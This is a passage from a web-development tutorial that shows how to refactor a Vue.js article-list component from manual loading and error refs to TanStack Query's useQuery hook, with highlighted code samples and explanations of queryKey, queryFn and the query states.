&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;template&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;script&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;setup&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { ref, onMounted } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;vue&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { fetchArticles } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;@/services/ContentOps.js&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;articlesList&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;ref&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;([]);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;isLoading&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;ref&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;ref&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;refreshArticles&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; () &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  isLoading.value &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  error.value &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;try&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;response&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;fetchArticles&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    articlesList.value &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; response.data.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;((&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;article&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; ({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      id: article.id,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      title: article.title,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      value: article.id,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// ... other properties&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;catch&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (err) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    error.value &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; err.message;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;finally&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    isLoading.value &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;onMounted&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(refreshArticles);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;script&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This works, but it’s like using a flip phone in the age of smartphones. Let’s upgrade!&lt;/p&gt;
&lt;p&gt;Let’s refactor this component using TanStack Query’s &lt;code&gt;useQuery&lt;/code&gt; hook. Prepare to be amazed by how much cleaner and more powerful our code becomes 😆&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;template&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;v-if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;isPending&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;Loading...&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;v-else-if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;isError&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;Error: {{ error.message }}&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;v-list&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;v-else&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;v-list-item&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;v-for&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;articleItem &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; data&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        :&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;articleItem.id&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        :&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;title&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;articleItem.title&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        :&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;articleItem.value&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;&amp;#x3C;!-- Article item content --&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;v-list-item&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;v-list&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;template&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;script&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;setup&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { useQuery } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;@tanstack/vue-query&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { fetchArticles } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;@/services/ContentOps.js&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;isPending&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;isError&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;useQuery&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  queryKey: [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;articlesList&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;queryFn&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; () &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;response&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;fetchArticles&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; response.data.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;((&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;article&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; ({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      id: article.id,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      title: article.title,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      value: article.id,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// ... other properties&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;script&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sleek, ain’t it? Here’s what’s going on…&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;useQuery&lt;/code&gt; hook is the star of our refactoring show. It takes an object with two crucial options:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;queryKey&lt;/strong&gt;: This is like a unique ID for our query. Here, we’re using &lt;code&gt;[&apos;articlesList&apos;]&lt;/code&gt;. TanStack Query uses this key for caching and invalidation. If you had different types of article lists, you might use keys like &lt;code&gt;[&apos;articlesList&apos;, &apos;featured&apos;]&lt;/code&gt; or &lt;code&gt;[&apos;articlesList&apos;, &apos;recent&apos;]&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;queryFn&lt;/strong&gt;: This is our data fetching function. It’s similar to our old &lt;code&gt;refreshArticles&lt;/code&gt; function, but now it’s integrated directly into the query configuration. TanStack Query will call this function when it needs to fetch or refetch the data.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;What is really cool about TanStack Query is that it doesn’t aim to replace your existing data fetching logic. You can keep using &lt;code&gt;fetch()&lt;/code&gt; or &lt;code&gt;axios&lt;/code&gt; or whatever you like. TanStack Query just helps you manage the data lifecycle in a more efficient and declarative way.&lt;/p&gt;
&lt;h3 id=&quot;handling-loading-and-error-states-in-the-template&quot;&gt;Handling Loading and Error States in the Template&lt;/h3&gt;
&lt;p&gt;Notice how our template has been simplified:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;isPending&lt;/code&gt; replaces our manual &lt;code&gt;isLoading&lt;/code&gt; ref.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;isError&lt;/code&gt; and &lt;code&gt;error&lt;/code&gt; are provided directly by the query, no need to manage them ourselves.&lt;/li&gt;
&lt;li&gt;We can directly use &lt;code&gt;data&lt;/code&gt; in our v-for loop, no need for a separate &lt;code&gt;articlesList&lt;/code&gt; ref.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;TanStack Query manages all these states for us, making our component much more declarative and easier to reason about.&lt;/p&gt;
&lt;h2 id=&quot;adapting-the-ui-for-query-states&quot;&gt;Adapting the UI for Query States&lt;/h2&gt;
&lt;p&gt;Now that we’ve got TanStack Query humming along in our Vue.js app, let’s polish our UI to take full advantage of those sweet, sweet query states.&lt;/p&gt;
&lt;p&gt;Remember our old friend, the loading spinner? Well, it’s about to get an upgrade. Let’s revamp our template to handle &lt;code&gt;isPending&lt;/code&gt; and &lt;code&gt;isError&lt;/code&gt; states with style:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;template&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;v-skeleton-loader&lt;/span&gt;&lt;/span&gt;
